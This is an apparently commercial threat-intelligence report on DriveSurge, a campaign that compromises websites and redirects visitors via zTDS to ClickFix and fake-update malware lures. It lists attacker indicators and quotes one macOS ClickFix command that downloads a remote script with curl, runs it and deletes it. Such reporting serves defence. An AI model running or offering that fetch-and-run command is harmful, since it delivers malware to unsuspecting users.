# DriveSurge: Initial Access Broker Hijacks Thousands of Trusted Websites for ClickFix and FakeUpdate Malware Delivery via zTDS

> DriveSurge is an active, year-long initial access broker (IAB) operation that injects malicious JavaScript into thousands of legitimate high-reputation websites and silently redirects visitors through an open-source traffic distribution system (zTDS) to ClickFix and FakeUpdate (fake browser update) lures. Operating a pay-per-install (PPI) model, it impersonates Chrome, Firefox, Edge, Safari, Opera, Brave and other browsers to trick Windows and macOS users into running or downloading malware.

- **Published:** 2026-06-09T00:00:00Z
- **Last reviewed:** 2026-07-18T22:40:04.924Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0724
- **ID:** TL-2026-0724
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** DriveSurge
- **Detections:** 9 · **IOCs:** 47 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-26980

## Description

DriveSurge is a mature, financially motivated cybercriminal operation first publicly named and tracked by Silent Push (report published 2026-05-30) and corroborated by Gridinsoft, Dark Reading, BleepingComputer, TechRadar, SC Media and Malwarebytes. It functions as a specialized Initial Access Broker (IAB) using a Pay-Per-Install (PPI) model, supplying downstream threat actors with high-quality, geo- and OS-filtered victim leads. The operation evaded detection for nearly a year, with attacker infrastructure observed in use since at least 2025-09-13.

The operation's core weapon is a Traffic Distribution System (TDS) built on zTDS, an open-source TDS publicly available at ztds.info and in circulation since at least 2015. DriveSurge compromises thousands of legitimate, high-reputation websites — across logistics (e.g. jclforwarding.com), education, technology, and healthcare — and injects obfuscated JavaScript loaders. Reported website-compromise vectors include exploitation of vulnerable CMS platforms; Malwarebytes documented 700+ Ghost CMS sites hijacked via the unauthenticated SQL injection CVE-2026-26980 (Ghost 3.24.0–6.19.0) during the same ClickFix wave, where the leaked Admin API key enabled injection of malicious code. Injected scripts call out to inject/loader domains (e.g. beacontrace.bond, webgleam.info, cptoptious.com, banerpanel.live, maxintora.com) using recognizable fingerprints such as `t.js?site=<32-hex>`, `t.<12-hex>.js`, `ext-b.`/`ext.<12-hex>.js`, and the zTDS `jsrepo?rnd=*` request. zTDS (analyzed at version 1.0.3) performs visitor fingerprinting and filtering — ASN/IP/referrer blacklists, bot-signature detection, mobile-operator IP filtering, captcha integration, and IPGrabber database checks (bseolized.com) — so that only fresh, targeted human victims are redirected while researchers, crawlers, and bots are shown benign content.

Visitors who pass filtering are funneled into one of two social-engineering lures. The first is a FakeUpdate browser-update prompt that impersonates roughly a dozen browsers (Google Chrome, Mozilla Firefox, Microsoft Edge, Safari, Opera, Brave, Yandex, Vivaldi, Samsung Internet, UC Browser, and an 'Other' category), urging the user to download a fake update that is actually malware. On Windows this delivers a 'Browser Update.exe' package (a ZIP containing DLLs plus an executable; SHA256 90aecb370dfb1a99a1f7de0a9c6842ab1b664521fddea16b0ec9a91f322646fc). The second lure is a ClickFix attack: a fake error/verification dialog impersonating Cloudflare or reCAPTCHA. When the user clicks a fake 'I'm not a robot' checkbox, JavaScript hijacks the clipboard (replacing its contents with a base64-encoded command disguised as a 'reCAPTCHA Verification ID') and instructs the victim to paste and run it in the Windows Run dialog / PowerShell or, on macOS, in Terminal.

DriveSurge maintains dedicated cross-platform payload chains. Windows victims receive PowerShell-staged downloaders (development path /assets/snippets/droppers/terminal_ps1_downloader/content.ps1). macOS desktop users — explicitly filtered to exclude iPhone/iPad even when a Macintosh user agent is present — receive a clipboard-hijacking Terminal command of the form `cd /tmp && curl -kfsSL "<payload_url>" -o <random_file> && bash <random_file> && rm -f <random_file>`, pulling Mach-O payloads from macOS payload servers (46.226.166.57, legacy 147.45.42.200, and C2 147.45.42.205:8133). ClickFix malicious code was also sourced from 91.92.240.127.

The infrastructure shows consistent tradecraft: domains registered through NiceNIC using temporary/disposable email (tempmail.so) — e.g. thiagorivera197151@ycyfugihih.cfd (first domain 2026-04-08) and pivot email samuel_jordan16@flixtrend.net — favoring the .icu TLD, nameserver ns1.erans.ru, and ASNs 203273 and 210644, with bulletproof hosting. Silent Push identified pre-weaponized but not-yet-active domains (brightson.icu, coverlink.icu, datumprobe.icu, eraggifts.icu, keyview.icu, traceglimpse.icu, tracekey.icu) and admin/panel infrastructure (testio.ecartdev.com/login.php, banerpanel.live/admin/login.php). No Cobalt Strike beacon match was returned by BeaconBeagle for the observed payload/C2 IPs, consistent with these being bespoke TDS/payload servers rather than commodity C2 beacons. The campaign remained active and under tracking as of mid-2026.

## MITRE ATT&CK

- T1592 Gather Victim Host Information
- T1583 Acquire Infrastructure
- T1584 Compromise Infrastructure
- T1585 Establish Accounts
- T1587 Develop Capabilities
- T1608 Stage Capabilities
- T1189 Drive-by Compromise
- T1190 Exploit Public-Facing Application
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1140 Deobfuscate/Decode Files or Information
- T1036 Masquerading
- T1027 Obfuscated Files or Information
- T1497 Virtualization/Sandbox Evasion
- T1115 Clipboard Data
- T1005 Data from Local System
- T1105 Ingress Tool Transfer
- T1071 Application Layer Protocol
- T1102 Web Service
- T1574 Hijack Execution Flow
- T1070 Indicator Removal
- T1008 Fallback Channels
- T1104 Multi-Stage Channels
- T1588 Obtain Capabilities
- T1505 Server Software Component
- T1082 System Information Discovery
- T1120 Peripheral Device Discovery
- T1568 Dynamic Resolution
- T1657 Financial Theft

## Sources

- [Meet DriveSurge: A New Threat Actor Using ClickFix and Fake Update Drive-By Attacks in Thousands of Compromised Sites](https://www.silentpush.com/blog/drivesurge/)
- [DriveSurge Turns Trusted Websites Into ClickFix Malware Traps (Malpedia library entry)](https://malpedia.caad.fkie.fraunhofer.de/library/8a34152c-7cfb-4902-bd41-f1a932bc5f25/)
- [DriveSurge Turns Trusted Websites Into ClickFix Malware Traps (Gridinsoft Malware Research Team)](https://trojan-killer.net/drivesurge-clickfix-fake-browser-updates/)
- [DriveSurge Hijacks Thousands of Sites for ClickFix, FakeUpdate Attacks](https://www.darkreading.com/cyberattacks-data-breaches/drivesurge-hijacks-thousands-sites-clickfix-fakeupdate-attacks)
- [Hackers hijack thousands of sites for ClickFix and FakeUpdate attacks](https://www.bleepingcomputer.com/news/security/hackers-hijack-thousands-of-sites-for-clickfix-and-fakeupdate-attacks/)
- [700+ education and tech websites hijacked in huge ClickFix malware campaign (Ghost CMS / CVE-2026-26980)](https://www.malwarebytes.com/blog/bugs/2026/05/700-education-and-tech-websites-hijacked-in-huge-clickfix-malware-campaign)
- [Thousands of compromised websites abused by DriveSurge in active ClickFix and FakeUpdates campaigns](https://www.techradar.com/pro/security/thousands-of-compromised-websites-abused-by-drivesurge-in-active-clickfix-and-fakeupdates-campaigns)
- [DriveSurge actor uses ClickFix and FakeUpdates to distribute malware via compromised websites](https://www.scworld.com/brief/drivesurge-actor-uses-clickfix-and-fakeupdates-to-distribute-malware-via-compromised-websites)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0724